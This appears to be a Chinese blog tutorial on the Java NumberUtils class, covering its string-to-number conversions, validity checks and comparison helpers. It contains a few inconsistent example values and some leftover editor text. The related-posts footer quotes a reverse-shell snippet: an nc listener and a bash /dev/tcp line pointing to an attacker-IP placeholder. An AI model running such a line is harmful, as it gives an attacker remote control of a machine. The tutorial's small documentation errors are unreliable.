Java工具类NumberUtils使用
int数据类型和long数据类型
int占32位,long占64位,long表示的数据更大;
public static int toInt(String str)
NumberUtils.toInt(null) = 0
NumberUtils.toInt("") = 0
NumberUtils.toInt("1") = 1
说明:将一个字符串转换成int类型,如果转换失败返回0;
public static int toInt(String str, int defaultValue)
NumberUtils.toInt(null, 1) = 1
NumberUtils.toInt("", 1) = 1
NumberUtils.toInt("1", 0) = 1
说明:将一个字符串转换成int类型,如果转换失败就返回一个默认值0;
参数:str-将要转换的字符串,可能会是null;
defaultValue-默认值,如果转换失败就显示默认值
public static long toLong(String str)
NumberUtils.toLong(null) = 0L
NumberUtils.toLong("") = 0L
NumberUtils.toLong("1") = 1L
说明:将一个字符串数据转换成一个long类型数据,如果转换失败返回0;
参数:转换的字符串,可能为null;
返回值:字符串代表的long数据类型,或者转换失败的默认值0;
public static long toLong(String str, long defaultValue)
NumberUtils.toLong(null, 1L) = 1L
NumberUtils.toLong("", 1L) = 1L
NumberUtils.toLong("1", 0L) = 1L
说明:将一个字符串数据转换成一个long类型数据,如果转换失败返回默认值;
参数:str-转换的字符串,可能为null;defaultValue-默认值
返回值:字符串代表的long数据类型,转换失败的时候返回默认值;
double(双精度浮点数)和float(单精度浮点数)
在内存中占的字节数不同,单精度浮点数占4个字节,双精度浮点数占8个字节;
有效位数不同,单精度浮点数有效位数是8位,双精度浮点数有效位数是16位;
位数不同,单精度浮点的表示范围:-3.40E+38 ~ +3.40E+38,双精度浮点的表示范围:-1.79E+308 ~ +1.79E+308
处理速度不同,一般来说处理器处理单精度浮点数的速度比处理双精度的浮点数速度要快;
public static double toDouble(String str)
NumberUtils.toDouble(null) = 0.0d
NumberUtils.toDouble("") = 0.0d
NumberUtils.toDouble("1.5") = 1.5d这里写代码片
说明:将一个字符串转换成double类型,如果转换失败返回0.0d;如果字符串是null返回0.0d;
参数:str-转换的字符串,可能为null;
返回值:字符串代表的double值,如果转型失败返回0.0d;
public static double toDouble(String str, double defaultValue)
NumberUtils.toDouble(null, 1.1d) = 1.1d
NumberUtils.toDouble("", 1.1d) = 1.1d
NumberUtils.toDouble("1.5", 0.0d) = 1.5d
说明:将一个字符串转换成double类型,如果转换失败返回0.0d;如果字符串值是null将会把默认值返回;
参数:str-转换的字符串,可能为null;defaultValue-默认值;
返回值:字符串代表的double数据类型,或者转换失败时候的默认值;
public static float toFloat(String str)
NumberUtils.toFloat(null) = 0.0f
NumberUtils.toFloat("") = 0.0f
NumberUtils.toFloat("1.5") = 1.5f这里写代码片
说明:将一个字符串转换成float数据类型,如果转型失败返回0.0f;如果传入参数字符串为null,返回默认值0;
参数:str-转换的字符串,可能为null;
返回值:字符串代表的float数据类型,如果转型失败返回0;
public static float toFloat(String str, float defaultValue)
NumberUtils.toFloat(null, 1.1f) = 1.0f
NumberUtils.toFloat("", 1.1f) = 1.1f
NumberUtils.toFloat("1.5", 0.0f) = 1.5f
说明:将一个字符串转换成float数据类型,如果转型失败返回默认值;如果传入参数字符串为null,返回默认值;
参数:str-转换的字符串,可能为null;defaultValue-默认值
返回值:字符串代表的float数据类型,或者返回默认值;
public static boolean isDigits(String str)
NumberUtils.isDigits("asd");
NumberUtils.isDigits("1");
说明:检查字符串是否是只包含数字字符,Null和空将会返回false;
参数:str-检查的字符串;
返回参数:true
public static boolean isParsable(String str)
NumberUtils.isParsable("122")
说明:检验提供的字符串是否可以转换为number,可解析的number包括下面的方法 Integer.parseInt(String), Long.parseLong(String), Float.parseFloat(String) or Double.parseDouble(String),这个方法可以替代ParseException异常当调用上面的方法时;
十六进制和科学符号被认为是不可解析的;
null和空字符串返回false;
参数:str-检验的字符串;
返回数据:true-如果参数是可转换的字符串;
public static boolean isCreatable(String str)
说明:检查字符串是否是一个有效的number,有效数字包括进制标有0x或0X预选项,八进制数、科学记数法和标有类型限定符的数字,以前导零开头的非十六进制字符串被视为八进制值,因此字符串09将返回false,因为9不是有效的八进制,然而从0开始的数字,被视为十进制,null、空或者空串将返回false;
参数:str-检查的字符串;
返回值:true-如果字符串是一个正确格式化的数字;
public static int compare(int x, int y)
说明:比较两个int数值,这是相同的功能(在java7提供);
参数:x-第一个int比较值,y-第二个int比较值;
返回值:如果x==y返回0,如果x小于y返回负数,如果x大于y返回正数;
public static int compare(long x, long y)
说明:比较两个long数值,这是相同的功能(在java7提供);
参数:x-第一个long比较值,y-第二个long比较值;
返回值:如果x==y返回0,如果x小于y返回负数,如果x大于y返回正数;
public static BigDecimal createBigDecimal(String str)
说明:将一个字符串转换成BigDecimal类型,如果字符串是null将会返回null;
参数:str-转换的字符串,可能为null;
返回值:被转换的BigDecimal(如果输入的字符串是null将会返回null)
public static Double createDouble(String str)
说明:将一个字符串转换成Double类型,如果输入字符串是null将会返回null;
参数:str-转换字符串,可能为null;
返回值:被转换的Double值(如果输入字符串是null将会返回null);
抛出异常:如果值不能解析将会抛出NumberFormatException ;
public static Long createLong(String str)
说明:将一个字符串转换为Long数据类型,自3.1以来,它处理六(0xhhhh)和八进制(0ddd)符号,注:前导零表示八进制;空间不剪裁。如果字符串值是null将会返回null;
参数:str-转换的字符串,可能为null;
返回值: 被转换的Long数据(如果输入的是null将返回null);
抛出异常:如果值不能被转换将会抛出NumberFormatException异常;
public static BigInteger createBigInteger(String str)
说明:将一个字符串转换为BigDecimal类型,自3.2以来,它处理六(0x或#)和八进制(0)符号。如果字符串为null将会返回null;
参数:str-转换的字符串(可能为null);
返回参数:被转换的BigDecimal(如果输入字符串为null将返回null);
抛出异常:如果值不能被转换将会抛出NumberFormatException异常;
public static Number createNumber(String str)
说明:将一个字符串值转换为java.lang.Number类型;
参数:str-转换字符串(可能为null);
返回值:从字符串创建的Number值(如果输入的字符串为null则返回null);
抛出异常:如果值不能被转换将会抛出NumberFormatException异常;
public static int max(int a, int b, int c)
说明:获取三个int值中最大的一个;
参数:a-值1,b-值2,c-值3
返回值:最大的值;
public static int max(int… array)
说明:返回数组中最大的值;
参数:array-一定不能为空或者null;
返回值:数组中最大的值;
抛出异常:如果数组为空或者null将会抛出IllegalArgumentException异常;
Java工具类NumberUtils使用的更多相关文章
- java工具类系列 (四.SerializationUtils)
java工具类系列 (四.SerializationUtils) SerializationUtils该类为序列化工具类,也是lang包下的工具,主要用于序列化操作 import java.io.Se ...
- Java工具类——通过配置XML验证Map
Java工具类--通过配置XML验证Map 背景 在JavaWeb项目中,接收前端过来的参数时通常是使用我们的实体类进行接收的.但是呢,我们不能去决定已经搭建好的框架是怎么样的,在我接触的框架中有一种 ...
- 排名前 16 的 Java 工具类
在Java中,工具类定义了一组公共方法,这篇文章将介绍Java中使用最频繁及最通用的Java工具类.以下工具类.方法按使用流行度排名,参考数据来源于Github上随机选取的5万个开源项目源码. 一. ...
- 排名前16的Java工具类
原文:https://www.jianshu.com/p/9e937d178203 在Java中,工具类定义了一组公共方法,这篇文章将介绍Java中使用最频繁及最通用的Java工具类.以下工具类.方法 ...
- 第一章 Java工具类目录
在这一系列博客中,主要是记录在实际开发中会常用的一些Java工具类,方便后续开发中使用. 以下的目录会随着后边具体工具类的添加而改变. 浮点数精确计算 第二章 Java浮点数精确计算 crc32将任意 ...
- java工具类之按对象中某属性排序
import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang ...
- 干货:排名前16的Java工具类
在Java中,工具类定义了一组公共方法,这篇文章将介绍Java中使用最频繁及最通用的Java工具类.以下工具类.方法按使用流行度排名,参考数据来源于Github上随机选取的5万个开源项目源码. 一. ...
- Java工具类:给程序增加版权信息
我们九天鸟的p2p网贷系统,基本算是开发完成了. 现在,想给后端的Java代码,增加版权信息. 手动去copy-paste,太没有技术含量. 于是,写了个Java工具类,给Java源文件 ...
- 常用高效 Java 工具类总结
一.前言 在Java中,工具类定义了一组公共方法,这篇文章将介绍Java中使用最频繁及最通用的Java工具类.以下工具类.方法按使用流行度排名,参考数据来源于Github上随机选取的5万个开源项目源码 ...
随机推荐
- 各种反弹shell的总结
linux自带的bash反弹shell 在攻击机行执行 nc -lvvp 12345 来监听端口 在目标机上执行bash -i >& /dev/tcp/攻击机IP/12345 0> ...
- NX二次开发-UFUN拾取平面对话框UF_UI_specify_plane
#include <uf.h> #include <uf_ui.h> UF_initialize(); //拾取平面对话框 ] = { , , , , , , , , }; ] ...
- iOS 点击Application icon加载推送通知Data
今天做APNS远程推送通知遇到了一个问题,就是手机接收到通知的时候,如果马上点击通知的 alert view时候,系统马上唤醒你的Application,通知或调用你的didReceiveLocalN ...
- Unity shader之金属质感衣服
一套QQ飞车的衣服,模仿其效果写的shader,效果如下: 部分shader如下: Shader "qq/Cloth" { Properties { _MainTex (" ...
- CodeForces 1166E The LCMs Must be Large
题目链接:http://codeforces.com/problemset/problem/1166/E 说明 LCM(一个集合) 为这个集合中所有元素的最小公倍数. 如果$A \subseteq B ...
- 从虚拟地址,到物理地址(开PAE)
学了好久好久,但是好久好久都没有用过,今天突然要用,都快忘了怎么玩了, 这里记录一下吧. 如何检测PAE r cr4 第5位如果是1,则开了PAE,否则没开 切入目标进程 查找一个自己关注的字符串s ...
- 用CSS做导航菜单的4个理由
导航结构在网站设计中是起到决定性作用的,导航菜单/栏常常通过颜色.排版.形状和一些图片来帮助网站创造更好的视觉和感受,它是网页设计的关键元素.虽然网站导航菜单的外观是网页设计中关系到整个设计成败与否的 ...
- 使用SpringBoot1.4.0的一个坑
时隔半年,再次使用Spring Boot快速搭建微服务,半年前使用的版本是1.2.5,如今看官网最新的release版本是1.4.0,那就用最新的来构建,由于部署环境可能有多套所以使用maven-fi ...
- java 打印1到n之间的整数
package java_day08; /* * 打印1-n之间的整数 * * 递归:方法体自己调用自己 */ public class DiGui { public static void main ...
- ubuntu安装更新命令
ubuntu16.04LTS 进入ubuntu系统后,打开一个终端,如图所示.此时以普通用户身份登录. 由于更新系统需要用到管理员权限,因此要么使用"su -"直接切换到roo ...